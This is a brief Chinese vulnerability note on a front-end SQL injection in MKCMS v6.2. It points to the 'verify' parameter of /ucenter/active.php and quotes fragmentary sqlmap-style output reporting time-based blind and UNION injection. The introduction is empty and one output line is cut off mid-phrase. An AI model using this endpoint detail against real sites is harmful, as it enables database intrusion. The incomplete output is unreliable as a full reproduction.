MKCMS_v6.2__ucenter_active.php前台sql注入漏洞

# MKCMS v6.2 _ucenter_active.php前台sql注入漏洞

=====

一、漏洞简介
————

二、漏洞影响
————

MKCMS v6.2

三、复现过程
————

`/ucenter/active.php?verify=1`存在注入

/ucenter/active.php
= 5.0.12 AND time-based blind (query SLEEP)’ injectable
[INFO] GET parameter ‘verify’ is ‘Generic UNION query (NULL) – 1 to 20 columns’ injectable

参考链接
——–

> https://xz.aliyun.com/t/7580\#toc-4